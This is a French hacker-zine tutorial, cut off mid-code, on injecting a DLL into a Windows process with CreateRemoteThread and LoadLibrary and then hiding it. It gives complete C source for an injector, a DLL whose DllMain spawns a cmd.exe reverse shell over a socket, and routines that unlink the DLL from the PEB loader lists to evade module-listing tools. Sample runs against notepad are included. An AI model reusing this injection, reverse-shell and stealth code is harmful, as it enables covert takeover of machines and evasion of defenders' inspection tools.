..                     ,.-..                     ,..,                
      |  |                  .`     `.                  |    |                                  
      |''|                  |`'---'`|                  |`'-`|                                  
      |<<|                  | _____ |             _,,..|[}{]|.,,,                              
    _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',                          
  .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|                         
  | `''--''` |              |  |T|  |         |   ``'''------''``    |                         
  |  [ O2 ]  |              |  |A|  |         |     [ Mindkind ]     |                         
  `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'                          
    `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```                             
      |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|                                  
    ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,                                 
   |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |                                
   |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|                                
   |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |                                
   |`-,_         `````''''''---------'''''''`````      |[}{]|'|                                
   |    `''[                                          ]|[}{]| |                                
   |`-,_   [          Dll Injection Reinvented        ]|[}{]|'|                                
   |    `''[                                         ] |[}{]| |                                
    `-,_        [                              ]  _,,..|[}{]|.,,,                              
      |<;`'-.,,,_                             ,-``     |[}{]|    ``',                          
    ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|                         
   |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |                         
   |`-,_`''-.,,,_ `````'''''---------'''''````|     ] Ivanlef0u [    |                         
   |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'                          
    `-,_`''-.,,,[                                ]``'''------''``                              
      |<`|'-.,,,_[                              ]_,,,.-|[}{]|                                  
      |<<|       `````''''''---------'''''''`````      |[}{]|                                  
      |<<|                  |]Aka: [|                  |[}{]|                                  
      |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__                      
      |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_       
  _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-., 
 ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
 |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
 |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
 |                     ````````''''''''''--------------''''''''''````````                     |
 |                                                                                            |





--------[ Intro

Grut everyone, chose promise chose due dans le dernier article "L'injection des
poulets" j'avais terminé en vous disant que j'allais vous montrer comment
injecter une DLL dans un processus alors pour ceux qui ont pas suivi l'épisode
je leurs conseille vivement de lire le précédent article et pour les autres
d'aller se chercher une bière et de s'installer, car l'émission va commencer !

Au programme ce soir mesdames et messieurs !!

1. Film culte interdit au moins de 18 ans: Injecte-moi par derrière
2. Documentaire sur la vie d'une DLL: Fuck me i'm a DLL
3. Un nouvel épisode de: Les Experts en UserLand
4. Un clip de Dj OllyBip: \x55\x8B\xEC
5. Enfin, le thème de la nuit sera: la disparition des modules en UserLand
6. Bonus Track
7. Happy End


--------[1.Injecte moi par derrière

Il est de retour, pour vous jouer un mauvais tour ! Le toujours aussi fou
Ivanlef0u, dans ce film il incarne un sérial-psychopathe-sodoculeur de process
avec des DLL, notre héros aura fort a faire avec l'API Win32 et sera souvent mis
en péril par les méchants qui veulent le capturer et lui faire manger des petits
pots de blédina froid (sic!) mais il aura comme compagnon sa bible, Windows PSDK
et son compagnon le fabuleux, l'irremplaçable, l'indestructible OllyDbg ! Alors
notre héros va t?il se faire pogner et bouffer de la bouillie ou bien réalisera
t'il son rêve de conquête du monde ? Pour le savoir regarder ce fabuleux film de
Albert Bretzel sorti en 1984 avant JC (Jean-Claude), Bonne soirée a tous.

Allay finit les conneries sur les petits pots et place au code.
Pour injecter une DLL dans un processus c'est pas bien compliqué, on
reprend le code de la dernière fois et on modifie une ligne, qui dit mieux !
Voici l'idée: : précédemment on injectait un code ou plutôt un shellcode qui
s'exécutait comme un grand avec le Thread nouvellement crée avec
CreateRemoteThread(), hé bien la on va faire la même chose sauf qu'on va use
LoadLibrary, cette magnifique fonction de Windows, voici son prototype:

HMODULE LoadLibrary(
  LPCTSTR lpFileName
);

Il suffit donc de donner a LoadLibrary une string disant où est la DLL a chargée
et c'est dans la boite :] On va lancer notre Thread ds le process distant
sur le LoadLibrary de kernel32.dll et sur la stack, pointé par esp+4, on aura
comme argument un pointeur sur la string de la DLL.

LPTHREAD_START_ROUTINE
Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll",\
"LoadLibrary");

On defini ici le début de notre Thread sur LoadLibrary.

DWORD ThreadID;
HANDLE hThread=CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,&ThreadID);

En fait injector est un pointeur sur le code que nous voulons effectuer.
Arg est donc l'adresse de la string dans la mémoire du process a injecté que
l'on a précédemment écrit avec WriteProcessMemory().

Allay voila le code:

#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <string.h> #include <tlhelp32.h> int NameToPid(char *ProcessName); int main (int argc,char *argv[]) { if (argc !=3){ printf("Usage is :inject <process> <dll path>\n"); return 0; } printf("[*]Ownage du processus: %s\n",argv[1]); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, NameToPid(argv[1])); if(hProc==NULL) { printf("Error with OpenProcess: %d\n",GetLastError()); return -1; } printf("[*]Handle: 0x%x\n",hProc); int cbCodeSize = strlen(argv[2]) + 1; printf("[*]CodeSize: %d\n",cbCodeSize); LPVOID Arg = VirtualAllocEx(hProc, NULL, cbCodeSize,\ MEM_COMMIT,PAGE_EXECUTE_READWRITE); if (Arg==NULL) { printf("Error with VirtualAllocEx: %d\n",GetLastError()); return -1; } printf("[*]Emplacement memoire: 0x%x\n",Arg); if (WriteProcessMemory(hProc, Arg, argv[2], cbCodeSize, 0) == FALSE) { printf("Error with WriteProcessMemory: %d\n",GetLastError()); return -1; } LPTHREAD_START_ROUTINE Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll")\ ,"LoadLibraryA"); DWORD ThreadID; HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,\ &ThreadID); if (hThread==NULL) { printf("Error with CreateRemoteThread: %d\n",GetLastError()); return -1; } if (WaitForSingleObject(hThread, INFINITE)==WAIT_FAILED) { printf("Error with WaitForSingleObject: %d\n",GetLastError()); return -1; } if(VirtualFreeEx(hProc, Arg, 0, MEM_DECOMMIT)==FALSE) { printf("Error with VirtualFreeEx: %d\n",GetLastError()); return -1; } if(CloseHandle(hThread)==FALSE) { printf("Error with CloseHandle: %d\n",GetLastError()); return -1; } printf("[*]Target injected\n"); return 0; } int NameToPid(char *ProcessName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap == INVALID_HANDLE_VALUE) { printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() ); } pe32.dwSize = sizeof(PROCESSENTRY32); if( !Process32First( hProcessSnap, &pe32 ) ) { printf("Error with Process32First: %d\n",GetLastError()); CloseHandle(hProcessSnap); } while(Process32Next(hProcessSnap,&pe32)!=0) { if(_stricmp(pe32.szExeFile,ProcessName)==0) { CloseHandle(hProcessSnap); return pe32.th32ProcessID; } } CloseHandle(hProcessSnap); return 0; }
c:\>inject_dll notepad.exe c:\dll_injected.dll [*]Ownage du processus: notepad.exe [*]Handle: 0x3d4 [*]CodeSize: 20 [*]Emplacement memoire: 0x720000 [*]Target injected Ha vi truc bête que j'ai laissé par flemmardise, le codesize est en fait la taille de la string du path de la dll, pareil l'emplacement mémoire correspond a l'endroit ou est balancé la string en mem :) Cette méthode revient a faire chargé dynamiquement une DLL par un process, alors maintenant intéressons-nous a cette DLL. --------[2.Fuck me i'm a DLL Voici le main d'une DLL: BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOIDlpReserved); hInstance étant le Handle de notre DLL (l'endroit ou elle est en mémoire), dwReason elle la cause de l'appel de la fct main et l'autre est la pour décorer. Nous on s'intéresse uniquement aux causes de l'appel de la fct main() winNT.h #define DLL_PROCESS_ATTACH 1 #define DLL_THREAD_ATTACH 2 #define DLL_THREAD_DETACH 3 #define DLL_PROCESS_DETACH 0 On veut que notre code soit exécuté lorsque que la DLL est chargée dans le process on met alors: if(dwReason!=DLL_PROCESS_ATTACH) return TRUE; Le TRUE est important, car FALSE indique que le chargement a foiré. Voici sans attendre le code d'une DLL qui va lancer un reverse shell sur l'ip 127.0.1 et sur le port 8080:
#include <winsock2.h> BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { // On ne traite pas les raisons autres que l'initialisation de la DLL if(dwReason!=DLL_PROCESS_ATTACH) return TRUE; WSADATA wd; SOCKET sock; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in sin; int size = sizeof(sin); memset(&sin, 0, sizeof(sin)); memset(&si, 0, sizeof(si)); WSAStartup(MAKEWORD(2,0), &wd); sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sin.sin_family = AF_INET; sin.sin_port = htons(8080); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); bind(sock, (struct sockaddr *)&sin, size); connect(sock, (struct sockaddr *)&sin, size); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; CreateProcess( NULL, "cmd.exe", NULL, NULL, true, IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW, NULL, NULL, &si, &pi ); return 0; }
Ha p-e qu'une explication serait bienvenue pour ces deux lignes: si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; 'si' est une structure de type STARTUPINFO: typedef struct _STARTUPINFO { DWORD cb; LPTSTR lpReserved; LPTSTR lpDesktop; LPTSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFO, *LPSTARTUPINFO; En fait en faisant si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; On dit que l'entrée/sortie du processus crée sera redirigée vers le socket et donc qu'on pourra dialoguer avec le process à travers le socket. De plus, il faut utiliser WSASocket() à la place de socket() car avec ce dernier le socket aura l'attribut overlapped (asynchrone), petite explication :] Imaginez que vous ayez besoin d'écrire un file sur le disque et que cette opération est déjà réalisée par un autre process, hum soit vous attendez comme un con que l'autre finisse et donc vous perdez du tps et de la fluidité, soit vous mettez vos fonctions d'I/O en overlapped et la le code continuera d'être exécuter même si le fichier n'a pas été écrit tandis que ce qui doit être écrit le sera lorsque la ressource sera libre. Dans notre cas il vaut mieux éviter d'utiliser cet attribut et de rester synchrone avec l'I/O du process pipé. NB: de toute facon ca marche pas autrement :} --------[3.Les Experts en UserLand Hum et now ? On a injecté une DLL dans un process et un jour on lance un tool comme PEID ou LORDPE et on voit que le process a des DLL bizarres avec lui, genre le notepad qui tourne avec ws2_32.dll .... Après désassemblage de ces exécutables on voit qu'ils utilisent les fonctions de la DLL psapi.dll et plus précisément la fonction EnumProcessModules() la voici: BOOL EnumProcessModules( HANDLE hProcess, HMODULE* lphModule, DWORD cb, LPDWORD lpcbNeeded ); hProcess est un handle sur le process obtenu avec l'api OpenProcess() lphModule est un tableau de DWORD qui va contenir les handles pour chaque module. cb est la taille du tableau en bytes. lpcbNeeded contient le nombre de bytes nécessaire pour contenir tout les handles, comme le tableau est alloué avant l'appel de la fonction et qu'on ne connait pas le nombre de modules du process si jamais celui est plus grand que la taille de notre tableau il faudra l'agrandir :) donc autant voir grand dès le départ et mettre un tableau de 128 DWORD. (ouais je sais j'aurais pu l'allouer dynamiquement, mais j'avais la flemme....) Allay tout de suite le code qui fait tout ca:
#include <windows.h> #include <tlhelp32.h> #include <psapi.h> #include <stdio.h> #pragma comment(lib,"Psapi.lib"); int NameToPid(char *ProcessName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap == INVALID_HANDLE_VALUE) { printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() ); } pe32.dwSize = sizeof(PROCESSENTRY32); if( !Process32First( hProcessSnap, &pe32 ) ) { printf("Error with Process32First: %d\n",GetLastError()); CloseHandle(hProcessSnap); } while(Process32Next(hProcessSnap,&pe32)!=0) { if(_stricmp(pe32.szExeFile,ProcessName)==0) { CloseHandle(hProcessSnap); return pe32.th32ProcessID; } } CloseHandle(hProcessSnap); return 0; } int main(int argc, char *argv[]) { HANDLE hProcess; HMODULE hModule[128]; ULONG BytesNeeded; char ModuleName[MAX_PATH]; MODULEINFO ModuleInfo; if(argc!=2) { printf("Usage is: psapi <Process name>\n"); return 0; } hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,NameToPid(argv[1])); if(hProcess==NULL) return 0; if(EnumProcessModules(hProcess,hModule,sizeof(hModule),&BytesNeeded)==0) { CloseHandle(hProcess); return 0; } printf("Number of modules: %d\n",BytesNeeded/sizeof(ULONG)); for(int i=0;i < BytesNeeded/sizeof(ULONG);i++) { GetModuleBaseName(hProcess,hModule[i],ModuleName,sizeof(ModuleName)); printf("Module Name: %s\n",ModuleName); } return 0; }
Voici ce que ça donne avec le notepad: C:\ProgHack\c>psapi notepad.exe Number of modules: 14 Module Name: notepad.exe Module Name: ntdll.dll Module Name: comdlg32.dll Module Name: SHLWAPI.DLL Module Name: ADVAPI32.dll Module Name: KERNEL32.dll Module Name: RPCRT4.dll Module Name: GDI32.dll Module Name: USER32.dll Module Name: msvcrt.dll Module Name: COMCTL32.DLL Module Name: SHELL32.DLL Module Name: WINSPOOL.DRV Module Name: MPR.DLL Et voici toujours le notepad mais avec notre DLL injectée: C:\ProgHack\c>psapi notepad.exe Number of modules: 19 Module Name: notepad.exe Module Name: ntdll.dll Module Name: comdlg32.dll Module Name: SHLWAPI.DLL Module Name: ADVAPI32.dll Module Name: KERNEL32.dll Module Name: RPCRT4.dll Module Name: GDI32.dll Module Name: USER32.dll Module Name: msvcrt.dll Module Name: COMCTL32.DLL Module Name: SHELL32.DLL Module Name: WINSPOOL.DRV Module Name: MPR.DLL Module Name: dll_injected.dll Module Name: WS2_32.dll Module Name: WS2HELP.DLL Module Name: msafd.dll Module Name: wshtcpip.dll Whaou, 5 modules en plus c'est pas super discret tout ca, surtout quand on voit que le notepad commence a utiliser la DLL ws2_32.dll on est droit de se poser des questions :] --------[4.\x55\x8B\xEC Bon, alors maintenant on s'arrête 2 sec et on, du moins faisons semblant, essaye de réfléchir. Il est clair que le processus qui va voir à quoi ressemblent les DLL dans un autre process n'a pas fait cela en ring 3 car je le rappel chaque process a SON PROPRE ET UNIQUE espace mémoire et ne peut accéder a celui de ses voisins. Il y a donc forcément de l'api native là-dessous qui permet le passage du UserLand au KernelLand, voici ce qu'on obtient en désassemblant une partie de la fonction EnumProcessModules de la DLL psapi.dll: 68EA19AE . 53 ; /pReqsize => NULL 68EA19AF . 6A 18 ; |Bufsize = 18 (24.) 68EA19B1 . 8D45 C0 ; | 68EA19B4 . 50 ; |Buffer 68EA19B5 . 53 ; |InfoClass => 0 68EA19B6 . FF75 08 ; |hProcess 68EA19B9 . FF15 3810EA68 ; \ZwQueryInformationProcess 68EA19BF . 3BC3 68EA19C1 . 7D 15 68EA19C3 . 50 ; /Arg1 68EA19C4 . FF15 4410EA68 ; \RtlNtStatusToDosError 68EA19CA . 50 ; /Error 68EA19CB . FF15 A010EA68 ; \SetLastError 68EA19D1 > 33C0 68EA19D3 . E9 C2000000 68EA19D8 > 53 ; /pBytesRead 68EA19D9 . 6A 04 ; |BytesToRead = 4 68EA19DB . 8D45 B8 ; | 68EA19DE . 50 ; |Buffer 68EA19DF . 8B45 C4 ; | 68EA19E2 . 83C0 0C ; | 68EA19E5 . 50 ; |pBaseAddress 68EA19E6 . FF75 08 ; |hProcess 68EA19E9 . 8B3D AC10EA68 ; |KERNEL32.ReadProcessMemory 68EA19EF . FFD7 ; \ReadProcessMemory 68EA19F1 . 85C0 68EA19F3 .^ 74 DC 68EA19F5 . 8B45 B8 68EA19F8 . 83C0 14 68EA19FB . 8945 B4 68EA19FE . 53 ; /pBytesRead 68EA19FF . 6A 04 ; |BytesToRead = 4 68EA1A01 . 8D4D DC ; | 68EA1A04 . 51 ; |Buffer 68EA1A05 . 50 ; |pBaseAddress 68EA1A06 . FF75 08 ; |hProcess 68EA1A09 . FFD7 ; \ReadProcessMemory 68EA1A0B . 85C0 En traçant cette fonction on s'aperçoit que la fonction native NtQueryInformationProcess() réalise le passage en ring0 et sert a obtenir l'addr du PEB dans le process distant. kd> dt !_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 SpareBool : UChar +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void +0x00c Ldr : Ptr32 _PEB_LDR_DATA [...] puis on se déplace de 0xC dans la structure avec ce code: 68EA19DF . 8B45 C4 MOV EAX,DWORD PTR SS:[EBP-3C] ; |PEB 68EA19E2 . 83C0 0C ADD EAX,0C ; |PEB+0xC 68EA19E5 . 50 PUSH EAX ; |pBaseAddress Après le ReadProcessMemory() nous permet d'obtenir un pointeur sur une structure _PEB_LDR_DATA (tout cela on le recup dans un autre process n'oubliez pas) kd> dt !_PEB_LDR_DATA +0x000 Length : Uint4B +0x004 Initialized : UChar +0x008 SsHandle : Ptr32 Void +0x00c InLoadOrderModuleList : _LIST_ENTRY +0x014 InMemoryOrderModuleList : _LIST_ENTRY +0x01c InInitializationOrderModuleList : _LIST_ENTRY Puis on se déplace de 0x14 dans celle ci avec ce chtit code: 68EA19F5 . 8B45 B8 MOV EAX,DWORD PTR SS:[EBP-48] ; |_PEB_LDR_DATA 68EA19F8 . 83C0 14 ADD EAX,14 On a donc un pointeur sur une double liste chaînée (LIST_ENTRY) et plus précisément sur le membre suivant de cette liste (Flink). InMemoryOrderModuleList, contient des structures de type LDR_DATA_TABLE_ENTRY que voici: kd> dt nt!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY +0x010 InInitializationOrderLinks : _LIST_ENTRY +0x018 DllBase : Ptr32 Void +0x01c EntryPoint : Ptr32 Void +0x020 SizeOfImage : Uint4B +0x024 FullDllName : _UNICODE_STRING +0x02c BaseDllName : _UNICODE_STRING +0x034 Flags : Uint4B +0x038 LoadCount : Uint2B +0x03a TlsIndex : Uint2B +0x03c HashLinks : _LIST_ENTRY +0x03c SectionPointer : Ptr32 Void +0x040 CheckSum : Uint4B +0x044 TimeDateStamp : Uint4B +0x044 LoadedImports : Ptr32 Void Donc le programme va parcourir cette liste chainée pour y trouver les informations en mémoire à propos des modules. --------[5.La disparition des modules en UserLand Voila qui devient intéressant et c'est (en partie) pour vous montrez cela que j'ai écrit cet article, il suffit donc de modifier cette double liste afin que notre module passer inaperçu, ho yeah, soirée mousse !!!! Notre DLL va donc se composer d'un nouveau morceau de code qui permettra de la rentre "furtive" et tout cas a tout les programmes qui utilisent EnumProcessModules, déja PEID et LordPe (ce n'est qu'un début). +----------+ +----------+ +----------+ | Module 1 | | Module 2 | | Module 3 | | Flink |<-+---->| Flink |<-+--->| Flink |----> <---| Blink | |-----| Blink | |----| Blink | +----------+ +----------+ +----------+ (le Blink ne pointe pas sur le précédent Blink mais bien sur le précédent Flink) Voici ce que l'on veut obtenir: +------------------+ | | +----------+ | +----------+ | +----------+ | Module 1 | | | Module 2 | | | Module 3 | | Flink |<-+--+ | Flink |<---+->| Flink |----> <---| Blink | |-----| Blink | +---| Blink | +----------+ | +----------+ | +----------+ | | +--------------------+ (Vous trouvez ces schémas pourris? Envoyer un mail à Ivanlef0u119@yahoo.fr pour tout reproches, insultes, whines) Allay tout de suite le code qui réalise cela:
int DLLHiding(LPSTR ModuleToHide) { PPEB_LDR_DATA PLDR_DATA; _asm{ mov eax,fs:[30h] //Sur le PEB mov eax,[eax+0Ch] //PEB->LoaderData mov PLDR_DATA,eax } char ModuleName[MAX_PATH]=""; PLDR_MODULE PModule; PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); do{ PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); SecureZeroMemory(ModuleName,MAX_PATH); WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1,ModuleName\ , MAX_PATH-1, NULL, NULL); }while(!strstr(ModuleName,ModuleToHide)); //Now on cache notre module PModule->InMemoryOrderModuleList.Blink->Flink=PModule->InMemoryOrderModuleLi st.Flink; PModule->InMemoryOrderModuleList.Flink->Blink=PModule->InMemoryOrderModuleLi st.Blink; return 1; }
Ce code n'est pas trop compliqué dans ce qu'il fait (ou pas) Il va sur PEB du process puis dans la structure LoaderData et parcourt avec la boucle do{}while(); la liste InMemoryOrderModuleList. Il récupère le nom du module et le compare avec le nôtre, si c'est bon on arrête et on cache notre module avec ces lignes étranges et venues d'ailleurs: PModule->InMemoryOrderModuleList.Blink->Flink=PModule- >InMemoryOrderModuleList.Flink; Cela signifie que l'on définit le Flink de la structure précédente à la valeur du Flink actuel c'est-à-dire sur la structure suivante (gruuut ?). PModule->InMemoryOrderModuleList.Flink->Blink=PModule- >InMemoryOrderModuleList.Blink; Pareil on définit le Blink de la structure suivante à la valeur de notre Blink, donc sur l'entrée précédente. Ha aussi le rôle de cette ligne PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); En fait comme un membre de la liste pointe tjrs sur un autre membre on arrive non pas a début de la structure, mais sur la struct InMemoryOrderModuleList donc pour pointer sur le début de la struct LDR_MODULE on soustrait 8 au pointeur courant. kd> dt nt!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY //<- on arrive ici +0x010 InInitializationOrderLinks : _LIST_ENTRY [...] Et maintenant le grand moment on teste tout cela, voici les results avec tjrs notre ami le notepad: C:\ProgHack\c>psapi notepad.exe Number of modules: 18 Module Name: notepad.exe Module Name: ntdll.dll Module Name: comdlg32.dll Module Name: SHLWAPI.DLL Module Name: ADVAPI32.dll Module Name: KERNEL32.dll Module Name: RPCRT4.dll Module Name: GDI32.dll Module Name: USER32.dll Module Name: msvcrt.dll Module Name: COMCTL32.DLL Module Name: SHELL32.DLL Module Name: WINSPOOL.DRV Module Name: MPR.DLL Module Name: WS2_32.dll Module Name: WS2HELP.DLL Module Name: msafd.dll Module Name: wshtcpip.dll Heyhey! 18 modules on a réussi à cacher notre DLL :] Pour le reste, il suffit de procéder de la même façon a appelant la fct avec un comme argument un nom de module a caché et c'est tout bon :} -------[6.Bonus Track Hum pourquoi un bonus track ? Parce que j'aime aller au fond de choses (ho yeah) et que je vous est menti en disant la DLL était complètement invisible, il existe encore une Api qui permet de voir cette foutue DLL, c'est en utilisant CreateToolHelp32Snapshot() avec l'option TH32CS_SNAPMODULE que j'ai remarqué cela, voici le bout de code qui ma enculée....
#include <windows.h> #include <tlhelp32.h> #include <stdio.h> int NameToPid(char *ProcessName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap==INVALID_HANDLE_VALUE) { printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError()); } pe32.dwSize=sizeof(PROCESSENTRY32); if(!Process32First(hProcessSnap,&pe32)) { printf("Error with Process32First: %d\n",GetLastError()); CloseHandle(hProcessSnap); } while(Process32Next(hProcessSnap,&pe32)!=0) { if(_stricmp(pe32.szExeFile,ProcessName)==0) { CloseHandle(hProcessSnap); return pe32.th32ProcessID; } } CloseHandle(hProcessSnap); return 0; } int main(int argc,char *argv[]) { if (argc!=2) { printf("Usage is: createtoolhelp32snapshot <Process name>"); return 0; } HANDLE hModuleSnap=NULL; MODULEENTRY32 me32={0}; hModuleSnap=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, NameToPid(argv[1])); if (hModuleSnap==INVALID_HANDLE_VALUE) return (FALSE); me32.dwSize = sizeof(MODULEENTRY32); if(Module32First(hModuleSnap,&me32)) do{ printf("Module: %s\n",me32.szModule); }while(Module32Next(hModuleSnap,&me32)); CloseHandle (hModuleSnap); }
Voici ce que ça ressort: C:\ProgHack\c>createtoolhelp32snapshot notepad.exe Module Name: notepad.exe Module Name: ntdll.dll Module Name: comdlg32.dll Module Name: SHLWAPI.DLL Module Name: ADVAPI32.dll Module Name: KERNEL32.dll Module Name: RPCRT4.dll Module Name: GDI32.dll Module Name: USER32.dll Module Name: msvcrt.dll Module Name: COMCTL32.DLL Module Name: SHELL32.DLL Module Name: WINSPOOL.DRV Module Name: MPR.DLL Module Name: dll_injected.dll Module Name: WS2_32.dll Module Name: WS2HELP.DLL Module Name: msafd.dll Module Name: wshtcpip.dll Argh notre dll apparait quand meme !!! C'est reparti pour reverser l'API CreateToolHelp32SnapShot(), alors après avoir tracé dans tout les sens je suis arriver dans ntdll, plus précisément dans LdrQueryProcessModuleInformation (si c'est pas parlant ça...) et je vois cette ligne : 7846DE3F |> \8B47 0C MOV EAX,DWORD PTR DS:[EDI+C] avec EDI qui pointe sur une structure _PEB_LDR_DATA, haha le voilà notre prob, souvenez vous précédemment nous modifions la la double liste InMemoryOrderModuleList qui est 0x14 dans _PEB_LDR_DATA et ici le code utilise la liste InLoadOrderModuleList que nous ne modifions pas donc la DLL est toujours "visible". Il ne reste plus qu'a c/c notre code précédent en modifiant 2,3 trucs et c'est tout bon, allée le code entier de la DLL qui met en oeuvre tout ça avec en comment le code pour la dernière liste (InInitializationOrderLinks):
#include <winsock2.h> #include <Ntsecapi.h> #include <shlwapi.h> #pragma comment (lib,"shlwapi.lib") #define DLLName "dll_injected.dll" typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; int DLLHiding(LPSTR ModuleToHide) { PPEB_LDR_DATA PLDR_DATA; _asm{ mov eax,fs:[30h] //Sur le PEB mov eax,[eax+0Ch] //PEB->LoaderData mov PLDR_DATA,eax } char ModuleName[MAX_PATH]=""; PLDR_MODULE PModule; /* PModule=(PLDR_MODULE)PLDR_DATA->InInitializationOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x10); do { PModule=(PLDR_MODULE)PModule->InInitializationOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x10); memset(ModuleName,0,sizeof(ModuleName)); WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\ ,ModuleName,MAX_PATH-1, NULL, NULL); }while(!StrStrI(ModuleName,ModuleToHide)); //Now on cache notre module PModule->InInitializationOrderModuleList.Blink->Flink=PModule ->InInitializationOrderModuleList.Flink; PModule->InInitializationOrderModuleList.Flink->Blink=PModule ->InInitializationOrderModuleList.Blink; memset(ModuleName,0,sizeof(ModuleName)); */ /*******************************/ memset(ModuleName,0,sizeof(ModuleName)); PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); do{ PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); SecureZeroMemory(ModuleName,MAX_PATH); WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\ ,ModuleName,MAX_PATH-1, NULL, NULL); }while(!StrStrI(ModuleName,ModuleToHide)); //Now on cache notre module PModule->InMemoryOrderModuleList.Blink->Flink=PModule ->InMemoryOrderModuleList.Flink; PModule->InMemoryOrderModuleList.Flink->Blink=PModule ->InMemoryOrderModuleList.Blink; memset(ModuleName,0,sizeof(ModuleName)); /*******************************/ PModule=(PLDR_MODULE)PLDR_DATA->InLoadOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x0); do{ PModule=(PLDR_MODULE)PModule->InLoadOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x0); memset(ModuleName,0,sizeof(ModuleName)); WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\ ModuleName ,MAX_PATH-1, NULL, NULL); }while(!StrStrI(ModuleName,ModuleToHide)); //Now on cache notre module PModule->InLoadOrderModuleList.Blink->Flink=PModule ->InLoadOrderModuleList.Flink; PModule->InLoadOrderModuleList.Flink->Blink=PModule 